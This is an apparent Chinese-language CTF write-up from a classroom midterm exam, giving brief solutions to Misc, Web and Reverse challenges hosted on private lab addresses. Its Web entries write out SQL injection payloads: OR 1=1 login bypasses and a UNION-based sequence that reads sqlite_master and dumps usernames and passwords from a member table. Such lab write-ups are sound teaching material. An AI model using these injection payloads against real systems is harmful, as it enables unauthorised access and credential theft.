> # 上機期中考 WriteUp ## `Misc` ### Real File? * Hersha Patel:欸!你給我的這東西打不開R,這樣我怎麼知道這題的 FLAG Uncle Roger:也許你需要來點 MSG,改變這個檔案的 Flavor <3 * Hint Pre-Exam Magic > 檔名改為圖像extension > ![](https://i.imgur.com/f542bQo.png) ## `Web` ### 木票豆頁 * Header > ![](https://i.imgur.com/3sNUnA2.png) ### SQL In啦 > 帳號:admin' OR 1=1 -- > 密碼:admin' OR 1=1 -- > ![](https://i.imgur.com/RjpsPYC.png) ### WarmUp * 虎斑貓:聽說 http://10.101.2.28:8000/ 裡面藏了一個有 FLAG 的網站... > 點擊(隱藏在flag icon的)tabby網站,再redirect到 /robots.txt,再打開 > tabby.tw/fllllllaaaggggggggg.html > 就有flag了 ### 快還要更快 > 網址在index.php console裡抓到header > ![](https://i.imgur.com/hRKjKiV.png) ### ✨Hack me if u can * http://10.101.2.61:10002/ * 菜雞 還敢用OR啊 把你拿掉看你怎麼用 > * xxx'or'1'='1 > * SELECT username, password FROM member WHERE username='xxx'or'1'='1' AND password='xxx' ### Haiyaaaaaaaaaaaaaaaa > curl http://10.101.2.61:10005/ ### 安全程式設計很重要 * http://10.101.2.61:10007/ * 有三篇安全程式設計有多棒的文章 * Hint DB Type:SQLite > 1. 嘗試 > http://10.101.2.61:10007/index.php?id=1 ORDER BY 1 -- > http://10.101.2.61:10007/index.php?id=1 ORDER BY 2 -- > http://10.101.2.61:10007/index.php?id=1 ORDER BY 3 -- > 到了 http://10.101.2.61:10007/index.php?id=1 ORDER BY 4 -- > 發生SQL Error > 代表該table有3個column > 2. 找出sqlite information schema (sqlite master)的其它table,探索有什麼可以挖掘。http://10.101.2.61:10007/index.php?id=1 union select 1,1, sql FROM sqlite_master; -- ![](https://i.imgur.com/9kRJFnB.png) > 3. 嘗試第一個member看裡面有什麼東西(只能3個column) > http://10.101.2.61:10007/index.php?id=1 union select id,username, password FROM member; -- > ![](https://i.imgur.com/jLnCJYl.png) ## `Reverse` ### 炎の呼吸 * H0w 哥:不要亂塞一堆東西在我的程式拉齁 > * Strings 找含有CTF字眼最快 > * strings lab1 | grep CTF > ![](https://i.imgur.com/fmVaWu7.png) ### 風の呼吸 > Default string output 只有32bit,要用-s 拉長 > ![](https://i.imgur.com/VixOGYp.png) ### 雷の呼吸 ### 岩の呼吸 * 天雲客運:欸,T0yz 你知道什麼是 Base64 嗎? T0yz(程式公道伯):你問對人啦!這是我寫的 Base64 Decode 程式,保證沒有草味,裡面說不定有你要的東西,來試試看吧!!!